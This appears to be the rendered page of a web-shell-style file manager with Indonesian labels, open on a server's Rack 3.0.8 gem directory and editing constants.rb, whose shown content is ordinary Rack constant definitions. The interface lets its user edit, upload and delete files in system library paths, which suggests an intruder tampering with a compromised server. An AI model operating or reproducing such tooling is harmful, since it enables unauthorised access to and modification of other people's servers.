PATH: //opt/alt/ruby31/share/gems/gems/rack-3.0.8/lib/rack
FILE_BARU
CREATE
FOLDER_BARU
MKDIR
UPLOAD_FILE
GO
[ .. KEMBALI ]
📁 auth/
X
📄 body_proxy.rb
↓
X
📄 builder.rb
↓
X
📄 cascade.rb
↓
X
📄 chunked.rb
↓
X
📄 common_logger.rb
↓
X
📄 conditional_get.rb
↓
X
📄 config.rb
↓
X
📄 constants.rb
↓
X
📄 content_length.rb
↓
X
📄 content_type.rb
↓
X
📄 deflater.rb
↓
X
📄 directory.rb
↓
X
📄 etag.rb
↓
X
📄 events.rb
↓
X
📄 file.rb
↓
X
📄 files.rb
↓
X
📄 head.rb
↓
X
📄 headers.rb
↓
X
📄 lint.rb
↓
X
📄 lock.rb
↓
X
📄 logger.rb
↓
X
📄 media_type.rb
↓
X
📄 method_override.rb
↓
X
📄 mime.rb
↓
X
📄 mock.rb
↓
X
📄 mock_request.rb
↓
X
📄 mock_response.rb
↓
X
📁 multipart/
X
📄 multipart.rb
↓
X
📄 null_logger.rb
↓
X
📄 query_parser.rb
↓
X
📄 recursive.rb
↓
X
📄 reloader.rb
↓
X
📄 request.rb
↓
X
📄 response.rb
↓
X
📄 rewindable_input.rb
↓
X
📄 runtime.rb
↓
X
📄 sendfile.rb
↓
X
📄 show_exceptions.rb
↓
X
📄 show_status.rb
↓
X
📄 static.rb
↓
X
📄 tempfile_reaper.rb
↓
X
📄 urlmap.rb
↓
X
📄 utils.rb
↓
X
📄 version.rb
↓
X
SAVING...
BERHASIL DIUBAH!
EDITING: constants.rb
# frozen_string_literal: true module Rack # Request env keys HTTP_HOST = 'HTTP_HOST' HTTP_PORT = 'HTTP_PORT' HTTPS = 'HTTPS' PATH_INFO = 'PATH_INFO' REQUEST_METHOD = 'REQUEST_METHOD' REQUEST_PATH = 'REQUEST_PATH' SCRIPT_NAME = 'SCRIPT_NAME' QUERY_STRING = 'QUERY_STRING' SERVER_PROTOCOL = 'SERVER_PROTOCOL' SERVER_NAME = 'SERVER_NAME' SERVER_PORT = 'SERVER_PORT' HTTP_COOKIE = 'HTTP_COOKIE' # Response Header Keys CACHE_CONTROL = 'cache-control' CONTENT_LENGTH = 'content-length' CONTENT_TYPE = 'content-type' ETAG = 'etag' EXPIRES = 'expires' SET_COOKIE = 'set-cookie' TRANSFER_ENCODING = 'transfer-encoding' # HTTP method verbs GET = 'GET' POST = 'POST' PUT = 'PUT' PATCH = 'PATCH' DELETE = 'DELETE' HEAD = 'HEAD' OPTIONS = 'OPTIONS' LINK = 'LINK' UNLINK = 'UNLINK' TRACE = 'TRACE' # Rack environment variables RACK_VERSION = 'rack.version' RACK_TEMPFILES = 'rack.tempfiles' RACK_ERRORS = 'rack.errors' RACK_LOGGER = 'rack.logger' RACK_INPUT = 'rack.input' RACK_SESSION = 'rack.session' RACK_SESSION_OPTIONS = 'rack.session.options' RACK_SHOWSTATUS_DETAIL = 'rack.showstatus.detail' RACK_URL_SCHEME = 'rack.url_scheme' RACK_HIJACK = 'rack.hijack' RACK_IS_HIJACK = 'rack.hijack?' RACK_RECURSIVE_INCLUDE = 'rack.recursive.include' RACK_MULTIPART_BUFFER_SIZE = 'rack.multipart.buffer_size' RACK_MULTIPART_TEMPFILE_FACTORY = 'rack.multipart.tempfile_factory' RACK_RESPONSE_FINISHED = 'rack.response_finished' RACK_REQUEST_FORM_INPUT = 'rack.request.form_input' RACK_REQUEST_FORM_HASH = 'rack.request.form_hash' RACK_REQUEST_FORM_VARS = 'rack.request.form_vars' RACK_REQUEST_FORM_ERROR = 'rack.request.form_error' RACK_REQUEST_COOKIE_HASH = 'rack.request.cookie_hash' RACK_REQUEST_COOKIE_STRING = 'rack.request.cookie_string' RACK_REQUEST_QUERY_HASH = 'rack.request.query_hash' RACK_REQUEST_QUERY_STRING = 'rack.request.query_string' RACK_METHODOVERRIDE_ORIGINAL_METHOD = 'rack.methodoverride.original_method' end
SIMPAN PERUBAHAN